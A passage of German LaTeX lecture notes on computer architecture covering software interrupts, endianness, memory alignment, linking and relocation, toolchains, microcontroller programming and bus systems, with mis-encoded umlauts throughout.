Speicherzugriffe wegoptimiert - wurden, erf�hrt es nichts von der �nderung. - - Entsprechendes gilt f�r I/O-Ports: - Wenn ein Programm einen Wert in einen Output-Port schreiben oder aus einem Input-Port lesen soll, - ist es wichtig, da� der Speicherzugriff auch tats�chlich stattfindet. - - \subsection{Software-Interrupts} - - Manche Prozessoren verf�gen �ber einen Befehl, um Interrupts "`k�nstlich"' auszul�sen. - - Das Betriebssystem MS-DOS verwendet derartige Aufrufe - anstelle von "`normalen"' Unterprogrammaufrufen, - um Programmen Funktionen zur Verf�gung zu stellen. - - \bigskip - \goodbreak - - Beispiel: Assembler-Version von \verb| printf ("Hello, world!\n") | unter MS-DOS bzw.\ Unix - - \medskip - - \verb| |MS-DOS-Version f�r FASM (gek�rzt)\hspace{3cm} Unix-Version f�r GCC (gek�rzt) - \begin{verbatim} - hello db 'Hello, world', 10, 13, '$' hello: - .string "Hello, world!\n" - mov ah, 09h - mov dx, hello pushl $hello - int 21h call printf\end{verbatim} - - \begin{itemize} - \item - Die MS-DOS-Version ruft den Interrupt Nr.\ 33 (hexadezimal: 21) auf: \verb| int 21h|.\\ - Die Unix-Version verwendet stattdessen einen normalen Unterprogrammaufruf: \verb| call printf|. - \item - Die MS-DOS-Version �bergibt Parameter in Prozessorregistern:\\ - Die Konstante \verb|09h| im \verb|ah|-Register w�hlt die Funktion "`Textausgabe"' aus;\\ - das \verb|dx|-Register enth�lt einen Zeiger auf den Text. - - Die Unix-Version benutzt den Stack zur �bergabe des Parameters: \verb| pushl $hello|.\\ - (\verb|$hello| ist ein Zeiger auf den Text.) - \item - Obwohl beide Programme auf demselben Prozessor laufen, - unterscheiden sich die Sprachdialekte der beiden Assember FASM und GCC erheblich voneinander.\\ - (Reihenfolge der Operanden umgekehrt, Suffix \verb|l| f�r "`long"', Pr�fix \verb|$| f�r Konstanten, \dots) - \end{itemize} - - Derartige "`Software-Interrupts"' verursachen Probleme, - sobald ein Ger�t den Interrupt f�r seinen eigentlichen Zweck verwendet. - MS-Windows verwendet -- au�er zur Emulation von MS-DOS -- keine Software-Interrupts mehr. - - \bigskip - - (Ein sehr �hnlicher Mechanismus wird von modernen Betriebssystemen weiterhin f�r Systemaufrufe genutzt. - Hier geht es darum, den �bergang von potentiell unsicherem Code in Anwenderprogrammen - zum vertrauensw�rdigen Code des Betriebssystems zu kontrollieren. F�r Details siehe:\\ - http://de.wikipedia.org/wiki/Software-Interrupt, http://de.wikipedia.org/wiki/Systemaufruf) - - \subsection{Byte-Reihenfolge -- Endianness} - - \subsubsection{Konzept} - - Beim Speichern von Werten, - die gr��er sind als die kleinste adressierbare Einheit\\ - (= Speicherzelle oder Speicherwort, h�ufig 1 Byte), werden mehrere Speicherworte belegt. - - Beispiel: 16-Bit-Zahl in 2 8-Bit-Speicherzellen - \begin{displaymath} - 1027 = 1024 + 2 + 1 = 0000\,0100\,0000\,0011_2 = 0403_{16} - \end{displaymath} - - Diese 16-Bit-Zahl kann auf zwei verschiedene Weisen - in zwei 8-Bit-Speicherzellen gespeichert werden: - \begin{center} - \begin{tabular}{|c|c|l}\cline{1-2} - \raisebox{-1pt}{04} & \raisebox{-1pt}{03} & \strut Big-Endian, "`gro�es Ende zuerst"', \\\cline{1-2} - \multicolumn{2}{c}{} & f�r Menschen leichter lesbar \\ - \multicolumn{3}{c}{} \\[-5pt]\cline{1-2} - \raisebox{-1pt}{03} & \raisebox{-1pt}{04} & \strut Little-Endian, "`kleines Ende zuerst"', \\\cline{1-2} - \multicolumn{2}{c}{} & bei Additionen effizienter \\ - \multicolumn{2}{c}{} & (Schriftliches Addieren beginnt immer beim Einer.) - \end{tabular} - \end{center} - Welche Konvention man verwendet, ist letztlich Geschmackssache - und h�ngt von der verwendeten Hardware (Prozessor) und Software ab. - Man spricht hier von der "`Endianness"' (Byte-Reihenfolge) der Hardware bzw.\ der Software. - - Im Kontext des Datenaustausches ist es wichtig, - sich auf eine einheitliche Endianness zu verst�ndigen. - Dies gilt insbesondere f�r: - \begin{itemize} - \item - Dateiformate - \item - Daten�bertragung - \end{itemize} - - \goodbreak - \subsubsection{Dateiformate} - - Als Beispiel f�r Dateiformate, in denen die Reihenfolge der Bytes - in 16- und 32-Bit-Zahlen spezifiziert ist, seien hier Audio-Formate genannt: - \begin{itemize} - \item - RIFF-WAVE-Dateien (\verb|.wav|): Little-Endian - \item - Au-Dateien (\verb|.au|): Big-Endian - \goodbreak - \item - �ltere AIFF-Dateien (\verb|.aiff|): Big-Endian - \item - neuere AIFF-Dateien (\verb|.aiff|): Little-Endian - \end{itemize} - Insbesondere ist es bei AIFF-Dateien wichtig, zu pr�fen, - um welche Variante es sich handelt, anstatt sich auf eine bestimmte Byte-Reihenfolge zu verlassen. - - Bei Dateiformaten mit variabler Endianness ist es sinnvoll und �blich, - die Endianness durch eine Kennung anzuzeigen. - Dies geschieht h�ufig am Anfang der Datei (im "`Vorspann"' -- "`Header"'). - - \bigbreak - - Als weiteres Beispiel seien zwei Monochrom-Grafik-Formate genannt. - Hier steht jedes Bit f�r einen schwarzen bzw.\ wei�en Bildpunkt, - daher spielt die Reihenfolge der Bits in den Bytes eine entscheidende Rolle. - (Diese Grafik-Formate sind Ihnen bereits aus der Vorlesung "`Angewandte Informatik"' bekannt.) - \begin{itemize} - \item - PBM-Dateien: Big-Endian, MSB first -- die h�chstwertige Bin�rziffer ist im Bild links - \item - XBM-Dateien: Little-Endian, LSB first -- die h�chstwertige Bin�rziffer ist im Bild rechts - \end{itemize} - MSB/LSB = most/least significant bit - - Achtung: Die Abk�rzungen "`MSB/LSB"' werden manchmal auch f�r "`most/least significant \emph{byte}"' verwendet. - Im konkreten Fall ist es ratsam, die verwendete Byte- und Bit-Reihenfolge genau zu recherchieren - bzw.\ pr�zise zu dokumentieren. - -% \bigbreak -% -% Weiteres Beispiel: Textdateien im Format "`UTF-16"'. -% Hier stehen jeweils zwei aufeinanderfolgende Bytes f�r eine 16-Bit-Zahl. -% Am Dateianfang steht stets der Wert $65279 = \verb|FEFF|_{16}$ \dots - - \subsubsection{Daten�bertragung} - - Bei der �bertragung von Daten �ber Leitungen - spielt sowohl die Reihenfolge der Bits in den Bytes ("`\mbox{MSB}/LSB first"') - als auch die Reihenfolge der Bytes in den �bertragenen Zahlen ("`Big-/Little-Endian"') eine Rolle. - - Als Beispiele seien genannt: - \begin{itemize} - \item - RS-232 (serielle Schnittstelle): MSB first - \item - I$^2$C: LSB first - \item - USB: beides - - Um �bertragungsfehler erkennen zu k�nnen, werden im USB-Protokoll - bestimmte Werte einmal gem�� der MSB-first- und einmal gem�� der LSB-first-Konvention - �bertragen und anschlie�end auf Gleichheit gepr�ft. - \medskip - \item - Ethernet: LSB first - \item - TCP/IP (Internet): Big-Endian - \end{itemize} - Insbesondere gilt f�r die �bertragung z.\,B.\ einer 32-Bit-Zahl �ber das Internet, - da� die vier Bytes von links nach rechts (Big-Endian) �bertragen werden, - die acht Bits innerhalb jedes Bytes hingegen von rechts nach links (LSB first). - - \subsection{Speicherausrichtung -- Alignment} - - Ein 32-Bit-Prozessor kann auf eine 32-Bit-Variable effizienter zugreifen, - wenn die Speicheradresse der Variablen ein Vielfaches von 32 Bits, also 4 Bytes ist. - Eine Variable, auf die dies zutrifft, hei�t "`korrekt im Speicher ausgerichtet"' ("`aligned"'). - - "`Effizienter"' kann bedeuten, - da� Maschinenbefehle zum Arbeiten mit den Variablen schneller abgearbeitet werden. - Es kann aber auch bedeuten, - da� der Prozessor gar keine direkte Bearbeitung von inkorrekt ausgerichteten Variablen erlaubt. - In diesem Fall bedeutet eine inkorrekte Speicherausrichtung, - da� f�r jede Operation mit der Variablen anstelle eines einzelnen Maschinenbefehls - ein kleines Programm aufgerufen werden mu�. - - \bigskip - - Um zu verstehen, welche Konsequenzen dies f�r die Arbeit mit Rechnern hat, - betrachten wir die folgenden Variablen (in C-Schreibweise): - - \begin{verbatim} - uint8_t a; - uint16_t b; - uint8_t c;\end{verbatim} - - Die Anordnung dieser Variablen im Speicher k�nnte z.\,B.\ folgenderma�en aussehen: - - \begin{quote} - \newcommand{\bup}{\begin{picture}(0,0)\put(-0.1,0.2){\mbox{b}}\end{picture}} - \begin{tabular}{r|ccc|} - & & \dots & \\\cline{2-4} - \texttt{3005} & & & \\\cline{2-4} - \texttt{3004} & & & \\\cline{2-4} - \texttt{3003} & & c & \\\cline{2-4} - \texttt{3002} & & & \\\cline{2-2}\cline{4-4} - \texttt{3001} & & \bup & \\\cline{2-4} - \texttt{3000} & & a & \\\cline{2-4} - \texttt{2fff} & & & \\\cline{2-4} - & & \dots & - \end{tabular} - \end{quote} - - Ein optimierender Compiler wird f�r eine korrekte Ausrichtung der Variablen \verb|b| sorgen, - beispielsweise durch Auff�llen mit unbenutzten Speicherzellen: - - \begin{quote} - \newcommand{\bup}{\begin{picture}(0,0)\put(-0.1,0.2){\mbox{b}}\end{picture}} - \begin{tabular}{r|ccc|} - & & \dots & \\\cline{2-4} - \texttt{3005} & & & \\\cline{2-4} - \texttt{3004} & & c & \\\cline{2-4} - \texttt{3003} & & & \\\cline{2-2}\cline{4-4} - \texttt{3002} & & \bup & \\\cline{2-4} - \texttt{3001} & & & \\\cline{2-4} - \texttt{3000} & & a & \\\cline{2-4} - \texttt{2fff} & & & \\\cline{2-4} - & & \dots & - \end{tabular} - \end{quote} - - Alternativ ist es dem Compiler auch m�glich, - die korrekte Ausrichtung durch "`Umsortieren"' der Variablen herzustellen - und dadurch "`L�cher"' zu vermeiden: - - \begin{quote} - \newcommand{\bup}{\begin{picture}(0,0)\put(-0.1,0.2){\mbox{b}}\end{picture}} - \begin{tabular}{r|ccc|} - & & \dots & \\\cline{2-4} - \texttt{3005} & & & \\\cline{2-4} - \texttt{3004} & & & \\\cline{2-4} - \texttt{3003} & & & \\\cline{2-2}\cline{4-4} - \texttt{3002} & & \bup & \\\cline{2-4} - \texttt{3001} & & c & \\\cline{2-4} - \texttt{3000} & & a & \\\cline{2-4} - \texttt{2fff} & & & \\\cline{2-4} - & & \dots & - \end{tabular} - \end{quote} - - Fazit: Man kann sich als Programmierer nicht immer darauf verlassen, - da� die Variablen im Speicher in einer spezifischen Weise angeordnet sind. - - In vielen existierenden Programmen geschieht dies dennoch. - Diese Programme sind fehlerhaft. - Dort kann es z.\,B.\ passieren, da� nach einem Upgrade des Compilers - schwer lokalisierbare Fehler auftreten. - - \bigskip - \goodbreak - - Entsprechende �berlegungen gelten f�r 64-Bit- und 16-Bit-Prozessoren. - Die Gr��e der Variablen, aufgerundet auf die n�chste Zweierpotenz, gibt eine Ausrichtung vor. - Die Registerbreite des Prozessors markiert die gr��te Ausrichtung, die noch ber�cksichtigt werden mu�. - - Bei 8-Bit-Prozessoren stellt sich die Frage nach der Speicherausrichtung normalerweise nicht, - weil die kleinste adressierbare Einheit eines Speichers selten kleiner als 8 Bits ist. - - Beispiele: - \begin{itemize} - \item - Eine 64-Bit-Variable auf einem 64-Bit-Prozessor mu� auf 64 Bits ausgerichtet sein. - \item - Eine 32-Bit-Variable auf einem 64-Bit-Prozessor braucht nur auf 32 Bits ausgerichtet zu sein. - \item - Eine 64-Bit-Variable auf einem 32-Bit-Prozessor braucht nur auf 32 Bits ausgerichtet zu sein. - \item - Eine 64-Bit-Variable auf einem 8-Bit-Prozessor braucht nur auf 8 Bits ausgerichtet zu sein. - \end{itemize} - - Bei der Definition von Datenformaten tut man gut daran, - die Ausrichtung der Daten von vorneherein zu ber�cksichtigen, - um auf m�glichst vielen -- auch zuk�nftigen -- Prozessoren - eine m�glichst effiziente Bearbeitung zu erm�glichen. - - Wenn ich beispielsweise ein Dateiformat definiere, in dem 128-Bit-Werte vorkommen, - ist es sinnvoll, diese innerhalb der Datei auf 128 Bits (16 Bytes) auszurichten, - auch wenn mein eigener Rechner nur �ber einen 64-Bit-Prozessor verf�gt. - - \section{Anwender-Software} - - \subsection{Relokation und Linken} - - Wenn eine Software erstellt wird, ist h�ufig nicht bekannt, - an welcher Speicheradresse sie sich zum Zeitpunkt der Ausf�hrung befinden wird. - - Ein Betriebssystem, das eine Anwender-Software vom Massenspeicher in den Arbeitsspeicher l�dt, - mu� daher daf�r sorgen, da� die in der Software enthaltenen Sprunganweisungen - auf die jeweils richtigen Sprungziele verweisen. - Dieser Vorgang hei�t "`Relokation"'; - der zugeh�rige Bestandteil des Betriebssystems hei�t "`Relocator"'. - - Dasselbe gilt, wenn eine Anwender-Software entwickelt wird und eine Software-Bibliothek mitbenutzt. - In diesem Fall m�ssen die Entwicklungswerkzeuge daf�r sorgen, - da� die Sprunganweisungen des Hauptprogramms in die Bibliothek - auf die jeweils richtigen Sprungziele verweisen. - Dieser Vorgang hei�t "`Linken"' (Verbinden); - das zugeh�rige Entwicklungswerkzeug hei�t "`Linker"'. - - Wenn das Linken erst beim Laden des Programms in den Speicher stattfindet, - spricht man von "`dynamischem"' Linken, - ansonsten von "`statischem"' Linken. - - Viele Prozessoren (u.\,a.\ IA-32) unterst�tzen eine "`Segmentierung"' des Speichers: - Das Programm arbeitet mit seinen eigenen Speicheradressen; - die �bersetzung in physikalische Speicheradressen erfolgt durch den Prozessor (Hardware). - Wenn dies genutzt werden kann, ist keine Relokation notwendig. - - \subsection{Dateiformate} - - Damit der Relocator und der Linker ihre Aufgabe erf�llen k�nnen, - k�nnen "`fertige"' Maschinenprogramme nicht "`einfach so"' auf einem Massenspeicher gespeichert werden, - sondern sie m�ssen zus�tzliche Informationen �ber Sprunganweisungen enthalten: - \begin{itemize} - \item - F�r den Relocator: Relokationstabelle\\ - Tabelle der Sprungziele innerhalb des Programms, - die an den tats�chlichen Ort im Speicher angepa�t werden m�ssen - \item - F�r den Linker: Symboltabelle\\ - Tabelle der Sprungziele au�erhalb des Programms, - die in das Programm eingetragen werden m�ssen - \end{itemize} - - \begin{center} - \begin{picture}(15,6)(0,-1.25) - \footnotesize - - \put(0,1.0){\line(1,0){15}} - \multiput(0,1)(0.1,0){151}{\line(0,1){0.1}} - \put(0,1.1){\line(1,0){15}} - \put(0,0.8){\makebox(0,0)[tl]{Ausf�hrbare Bin�rdatei}} - \put(0.5,1.2){$\overbrace{\rule{10mm}{0pt}}$} - \put(2.0,1.2){$\overbrace{\rule{10mm}{0pt}}$} - \put(3.5,1.2){$\overbrace{\rule{115mm}{0pt}}$} - - \put(0,4.0){\line(1,0){5}} - \multiput(0,3.5)(0.5,0){11}{\line(0,1){0.5}} - \put(0,3.5){\line(1,0){5}} - \put(0,4.2){\makebox(0,0)[bl]{Relokationstabelle}} - \put(1.0,3.4){\line(0,-1){1.9}} - \put(3.75,3.4){\vector(1,-2){1.2}} - \put(4.25,3.4){\vector(1,-1){2.4}} - \put(4.75,3.4){\vector(2,-1){4.8}} - - \put(4.95,0.7){\line(0,1){0.25}} - \put(4.95,0.7){\line(1,0){0.5}} - \put(5.45,0.7){\vector(0,1){0.25}} - \put(6.65,0.7){\line(0,1){0.25}} - \put(6.65,0.7){\line(1,0){0.8}} - \put(7.45,0.7){\vector(0,1){0.25}} - \put(9.55,0.6){\line(0,1){0.35}} - \put(9.55,0.6){\line(-1,0){3.2}} - \put(6.35,0.6){\vector(0,1){0.35}} - \put(7.25,0.4){\makebox(0,0)[t]{Spr�nge innerhalb des Programms}} - - \put(6,4.0){\line(1,0){5}} - \multiput(6,3.5)(0.5,0){11}{\line(0,1){0.5}} - \put(6,3.5){\line(1,0){5}} - \put(6,4.2){\makebox(0,0)[bl]{Symboltabelle}} - \put(6.4,3.4){\line(-2,-1){3.8}} - \put(10.25,3.4){\vector(1,-2){1.2}} - \put(10.75,3.4){\vector(1,-1){2.4}} - - \put(9.25,1.55){\line(0,1){1}} - \put(9.00,2.60){\makebox(0,0)[b]{Maschinenprogramm}} - - \put(11.45,0.95){\vector(0,-1){1}} - \put(11.45,-0.10){\makebox(0,0)[t]{\texttt{scanf}}} - \put(13.15,0.95){\vector(0,-1){1}} - \put(13.15,-0.10){\makebox(0,0)[t]{\texttt{printf}}} - \put(12.30,-0.50){\makebox(0,0)[t]{Spr�nge aus dem Programm heraus}} - - \end{picture} - \end{center} - - Eine Datei, die ein "`fertiges"' Maschinenprogramm, - eine Relokationstabelle und Symboltabellen f�r den statischen und dynamischen Linker enth�lt, - hei�t "`Objekt-Datei"'. - - Eine Datei, die ein "`fertiges"' Maschinenprogramm, - eine Relokationstabelle und eine Symboltabelle f�r den dynamischen Linker enth�lt, - hei�t "`ausf�hrbare Bin�rdatei"'. - - F�r Objekt-Dateien und ausf�hrbare Dateien gibt es herstellerspezifische und - hersteller�bergreifende Standards (z.\,B.\ a.out, COFF, ELF). - - �bliche Dateiendungen sind - \begin{itemize} - \item - f�r Objekt-Dateien: .o (Unix), .obj (MS-Windows) - \item - f�r ausf�hrbare Bin�rdateien: keine Endung (Unix), .com, .exe, .scr (MS-Windows) - \end{itemize} - - \bigbreak - - H�ufig werden mehrere Objekt-Dateien zu einer "`Bibliothek"' zusammengefa�t. - - �bliche Dateiendungen sind - \begin{itemize} - \item - f�r statische Bibliotheken: .a (Unix), .lib (MS-Windows) - \item - f�r dynamische Bibliotheken: .so (Unix), .dll (MS-Windows) - \end{itemize} - - Derjenige Teil des Betriebssystems, der eine ausf�hrbare Datei in den Arbeitsspeicher l�dt - und dabei ggf.\ den Relocator und den Linker aufruft, hei�t "`Loader"'. - - \goodbreak - \subsection{Die Toolchain} - - Wir k�nnen nun die Werkzeuge, - die vom Schreiben des Quelltextes bis zur Ausf�hrung des Programms verwendet werden, - zu einer Kette, der "`Toolchain"', zusammenfassen: - - \begin{center} - \newcommand{\arrowwithtext}[1]{% - \begin{picture}(0,1) - \put(0,1){\vector(0,-1){1}} - \put(0.1,0.5){\makebox(0,0)[l]{#1}} - \end{picture}} - - \framebox{\shortstack{\strut menschliche Gedanken}} - - \arrowwithtext{Texteditor} - - \framebox{\shortstack{\strut C-Quelltext\\ - (z.\,B.\ hello.c)}} - - \arrowwithtext{Compiler} - - \framebox{\shortstack{\strut Assembler-Quelltext\\ - (z.\,B.\ hello.s, hello.asm)}} - - \arrowwithtext{Assembler} - - \framebox{\shortstack{\strut Objekt- und Bibliothek-Dateien\\ - (z.\,B.\ hello.o, hello.obj)}} - - \arrowwithtext{Linker} - - \framebox{\shortstack{\strut ausf�hrbare Bin�rdatei\\ - (z.\,B.\ hello, hello.exe)}} - - \arrowwithtext{Loader} - - \framebox{\shortstack{\strut Programm im Speicher bereit zur Ausf�hrung}} - \end{center} - - Manche dieser Werkzeuge k�nnen zu einer einzigen Software zusammengefa�t sein: - \begin{itemize} - \item - Das Programm \verb|gcc| fa�t Compiler, Assembler und Linker in einem einzigen Aufruf zusammen. - Was jeweils aufgerufen wird, entscheidet das Programm anhand der Endungen der �bergebenen Dateien. - \item - Eine "`Entwicklungsumgebung"' (z.\,B.\ Eclipse) - umfa�t typischerweise Texteditor, Compiler, Assembler und Linker - plus weitere Werkzeuge. - \end{itemize} - -% \subsection{Das Programm \texttt{make}} -% -% Das Programm \verb|make| dient dazu, den Aufruf der einzelnen Entwicklungswerkzeuge zu automatisieren. -% -% Eine Datei \verb|Makefile| enth�lt Regeln der Gestalt -% \begin{verbatim} -% Ziel: Quellen -% Aktionen\end{verbatim} - - \subsection{Besonderheiten von Mikro-Controllern} - - Auf einem Personal-Computer l�uft st�ndig eine Software, das Betriebssystem, - die in der Lage ist, Anwenderprogramme in den Speicher zu laden - und durch den Prozessor ausf�hren zu lassen. - - Ein Mikro-Controller enth�lt kein Betriebssystem. - Damit ein Mikro-Controller sinnvolle Befehle ausf�hrt, - m�ssen wir also auf andere Weise daf�r sorgen, - da� sie sich im Arbeitsspeicher an der richtigen Stelle befinden. - \begin{itemize} - \item - ROM: - Der Hersteller liefert den Mikro-Controller mit einem nur lesbaren, - bereits mit den richtigen Werten beschriebenen Speicher aus. - Dies lohnt sich bei gro�en St�ckzahlen. - \item - In-System Programmer (ISP): - Der Mikro-Controller enth�lt Flash-Speicher, der von au�en beschrieben werden kann, - z.\,B.\ mit Hilfe einer Zusatzschaltung (ISP) von einem Personal-Computer aus. - \item - Boot-Loader: - Der Mikro-Controller enth�lt Flash-Speicher, - der abschnittweise von der eigenen Software beschrieben werden kann. - Ein Teil des Speichers enth�lt ein Programm (Boot-Loader), - das �ber externe Leitungen (z.\,B.\ eine serielle Schnittstelle) - Daten entgegennehmen und in den verbleibenden Speicher schreiben kann. - \end{itemize} - - In jedem Fall ist es notwendig, die Relokation bereits vor dem Aufspielen der Software vorzunehmen. - G�ngige Formate ausf�hrbarer Dateien (z.\,B.\ ELF) - sind zur direkten Ausf�hrung auf einem Mikro-Controller nicht geeignet. - Stattdessen mu� -- als letzter Schritt der Software-Entwicklung -- - ein Relocator anhand der ELF-Datei ein Abbild des Speichers des Mikro-Controllers erstellen. - - Das Speicherabbild kann unmittelbar als Bin�rdatei gespeichert werden - oder als Text-Darstellung einer Bin�rdatei, z.\,B.\ im Intel-HEX-Format (Dateiendung: .hex). - - Das so entstandene Speicherabbild kann dann mit Hilfe eines ISP oder eines Boot-Loaders - auf den Mikro-Controller aufgespielt werden (Sprechweise: "`Download"'), - oder man l��t es dem Hersteller zukommen, damit dieser eine Serie der Mikro-Controller fertigt, - bei denen die Software bereits fertig im ROM liegt. - - \bigskip - - Die Werkzeuge zur Programmierung von Mikro-Controllern - laufen nicht auf dem Mikro-Controller selbst, sondern auf einem Personal-Computer. - - Die Werkzeuge erzeugen also Code, der nicht auf demselben Rechner lauff�hig ist, - sondern auf einem anderen, dem Mikro-Controller. - Derartige Werkzeuge hei�en "`Cross-Werkzeuge"' (Cross-Compiler, Cross-Assembler, Cross-Linker). - - \section{Bus-Systeme} - - \subsection{Konzept\label{Bus-Systeme: Konzept}} - - Die \emph{International Electrotechnical Commission} (IEC) definiert ein Bus-System als - \begin{quote} - "`ein System zur Daten�bertragung zwischen mehreren Teilnehmern �ber einen gemeinsamen - �bertragungsweg, bei dem die Teilnehmer nicht an der Daten�bertragung zwischen anderen - Teilnehmern beteiligt sind."' - - \strut\hfill \url{http://www.electropedia.org/iev/iev.nsf/display?openform\&ievref=351-32-10}\\ - \strut\hfill �bersetzung: Wikipedia -- Bus (Datenverarbeitung) - \end{quote} - - Kurz: Ein Bus-System ist Daten�bertragung "`ohne Umsteigen"'. - Sobald Teilnehmer daf�r zust�ndig sind, die Daten an andere Teilnehmer weiterzuleiten - (z.\,B.\ Router im Internet), - handelt es sich nicht mehr um ein Bus-System im engeren Sinne, - sondern um eine Kombination mehrerer Bus-Systeme. - - In der Rechnertechnik finden sich Bus-Systeme - \begin{itemize} - \item - von Schaltkreis zu Schaltkreis im Prozessor, - \item - zwischen Prozessor und Speicher, - \item - zwischen Prozessor und Ger�t, - \item - zwischen Prozessor und Controller, - \item - zwischen Controller und Ger�t, - \item - zwischen Netzwerkkarte und Netzwerkkarte - \end{itemize} - \dots\ und in zahlreichen weiteren Anwendungen. - - \subsection{Zu ber�cksichtigen} - - Damit Daten�bertragung funktioniert, - sind beim Entwurf und Aufbau von Bus-Systemen zahlreiche Aspekte zu ber�cksichtigen. - Hier ein �berblick. - - \begin{itemize} - \item - \textbf{Elektromagnetische St�rungen} - - Elektromagnetische Impulse in der Umgebung der Leitungen - k�nnen unerw�nschte St�rsignale induzieren. - Umgekehrt k�nnen in der Leitung �bertragene Signale elektromagnetische Wellen erzeugen, - die Funk�bertragungen in der Umgebung st�rend beeinflussen. - - Zu den Ma�nahmen zur Vermeidung elektromagnetischer St�rungen geh�ren: - \begin{itemize} - \item - Abschirmung - - \item - symmetrische Signal�bertragung - - Dasselbe Signal wird in zwei Leitungen mit entgegengesetzter Polarit�t �bertragen. - Wenn eine St�rung das eine Signal abschw�cht, verst�rkt sie gleichzeitig das andere. - - \item - unterschiedliche Verdrillung ("`Twisted Pair"') - - Mehrere Leiter in demselben Kabel k�nnen sich gegenseitig beeinflussen. - Wenn man dabei jeweils die beiden Leitungen einer symmetrischen Signal�bertragung - mit unterschiedlicher Gangh�he verdrillt, - kommen sich �ber die Kabell�nge verteilt stets unterschiedliche Kabel nahe, - so da� sich gegenseitige St�rungen herausmitteln. - - \item - \dots - \end{itemize} - \goodbreak - \item - \textbf{Reflexion am Kabelende} - - Bei hohen �bertragungsgeschwindigkeiten kann die Ausbreitung des Signals in der Leitung - nicht mehr als "`unendlich schnell"' angenommen werden. - In dieser genauen Betrachtung wird nicht die gesamte Leitung gleichzeitig auf z.\,B.\ +5\,V gezogen, - sondern das Signal breitet sich bis zum Kabelende aus, wird dort reflektiert, - wandert wieder zur�ck, wird wieder reflektiert, usw. - Will man diesen Einschwingvorgang nicht abwarten, sondern sofort das n�chste Signal senden, - wird die Reflexion am Kabelende zum Problem. - Folgende Gegenma�nahmen sind �blich: - - \begin{itemize} - \item - Abschlu�widerstand ("`Terminator"') - - Ein ohmscher Widerstand, der dem Wellenwiderstand der Leitung entspricht, - d�mpft das Signal am Leitungsende herab und verhindert so die Reflexion. - % - (Beispiele: SCSI, BNC-Netz) - - \item - ignorieren - - Bei niedrigen �bertragungsgeschwindigkeiten und/oder kurzen Leitungen - spielen die o.\,a.\ Betrachtungen keine Rolle. - Wer hier Kompromisse eingeht, kann auf Terminierung verzichten. - - (Beispiel: IDE/ATAPI/PATA) - - \item - (Auch hier gibt es weitere Methoden, z.\,B.\ aktive Terminierung.) - \end{itemize} - \goodbreak - \item - \textbf{Kabelwege} - - Verschiedene Einsatzgebiete erfordern verschiedene Verkabelungen. - \begin{itemize} - \item - Wenige Leitungen (seriell) vs.\ viele (parallel) - -% \item -% synchron/asynchron: mit/ohne festen Takt - - \item - Punkt-zu-Punkt-Verbindung vs.\ Adressierung - - Eine Kommunikationsverbindung zwischen genau zwei Teilnehmern\\ - hei�t Punkt-zu-Punkt-Verbindung. - - Wenn man viele Teilnehmer an dieselben Leitungen anschlie�t - und trotzdem mit jedem individuell kommunizieren will, - mu� aus den Signalen hervorgehen, welcher Teilnehmer gemeint ist. - Dieses Konzept hei�t Adressierung. - - (In manchen Kontexten wird erst dann von einem Bus-System gesprochen, - wenn es mehr als zwei Teilnehmer und Adressierung gibt. - Im Gegensatz zu einer Punkt-zu-Punkt-Verbindung - wird ein solches System dann als "`busf�hig"' bezeichnet.) - - \item - Topologie: linear, ring-, sternf�rmig, kaskadierbar - - Bei kurzen Wegen und/oder niedrigen �bertragungsgeschwindigkeiten - kann die Form der Leitungen beliebig sein. - Bei langen Wegen und hohen �bertragungsgeschwindigkeiten - m�ssen Reflexionen an Verzweigungen und an Kabelenden (s.\,o.) - ber�cksichtigt und ggf.\ vermieden werden. - \end{itemize} - - \item - \textbf{Weitere Aspekte} - - In der Nachfolgeveranstaltung "`Vertiefung Rechner- und Netzwerktechnik"' werden u.\,a.\ - die folgenden Aspekte angesprochen werden: - \begin{itemize} - \item - Kollisionsvermeidung - - Wie vermeidet man es, da� mehrere Teilnehmer gleichzeitig senden\\ - und sich dadurch gegenseitig st�ren? - \item - Sicherheitsaspekte - - Wie kann man vermeiden oder es zumindest erkennen, - da� sich unberechtigte Teilnehmer an der Kommunikation beteiligen? - Wie stellt man die Authentizit�t einer empfangenen Nachricht sicher? - \item - u.\,v.\,a. - \end{itemize} - \end{itemize} - - \subsection{Beispiele} - - Im folgenden sollen die Beispiele aus Abschnitt \ref{Bus-Systeme: Konzept} - hinsichtlich der o.\,a.\ Aspekte eingeordnet werden. - - \begin{itemize} - \item - von Schaltkreis zu Schaltkreis im Prozessor:\\ - parallel, Punkt-zu-Punkt - \smallskip - \item - zwischen Prozessor und Speicher:\\ - Adre�- und Datenbus: parallel, Punkt-zu-Punkt - - \begin{picture}(16,5)(-2,-4.7) - \put(0.8,-4.5){\includegraphics[height=4.5cm]{motherboard.jpg}} - \put(7.8,-2.8){\includegraphics[height=3.5cm]{motherboard-ausschnitt.jpg}} - \put(7.8,0.7){\line(-1,-1){2.5}} - \put(7.8,-2.8){\line(-1,0){2.5}} - \end{picture} - - Auf den Hauptplatinen (Motherboards) aktueller Computer erkennt man zahlreiche - parallel verlaufende Leitungen (von m�glichst gleicher L�nge). - \bigskip - \item - zwischen Prozessor und Ger�t:\\ - I$^2$C: seriell, mit Adressierung - - Beispiel: Kompa�modul an RP6 - - \begin{picture}(16,4.5)(0,-4.2) - \put(0,-3.5){\includegraphics[height=3.5cm]{kompassmodul-an-roboter.jpg}} - \put(5,-4.3){\includegraphics[height=4.5cm]{kompassmodul.jpg}} - \put(5,0.2){\line(-2,-1){2.2}} - \put(5,-4.3){\line(-1,1){2.2}} - \end{picture} - \bigskip - \item - zwischen Prozessor und Controller (auf dem Motherboard):\\ - parallel, mit Adressierung - - \bigskip - \item - zwischen Controller und Ger�t: - \begin{itemize} - \item - IEEE 1284 (Centronics): parallel, Punkt-zu-Punkt - \item - RS-232: seriell, Punkt-zu-Punkt - \item - RS-485, USB, CAN: seriell, mit Adressierung - \end{itemize} - \begin{picture}(16,3.55) - \put(0,0){\includegraphics[width=10.9cm]{motherboard-anschluesse.jpg}} - \put(5.45,-0.2){\makebox(0,0)[t]{\footnotesize Anschl�sse an der R�ckseite eines PC-Motherboards}} - \color{white}\bf - \put(3.05,1.5){\mbox{IEEE 1284}} - \put(2.15,0.20){\mbox{RS-232}} - \put(7.7,0.20){\mbox{USB}} - \end{picture} - \bigskip - \item - zwischen Controller und Festplatte: - \begin{itemize} - \item - SCSI: parallel, terminiert,\\ - mit Adressierung, linear - \smallskip - \item - PATA (�ltere Bezeichnungen: IDE, ATAPI):\\ - parallel, nicht terminiert,\\ - mit Adressierung (Master/Slave), linear - \smallskip - \item - SATA: seriell, Punkt-zu-Punkt - - \begin{picture}(16,4.5)(0,1.1) - 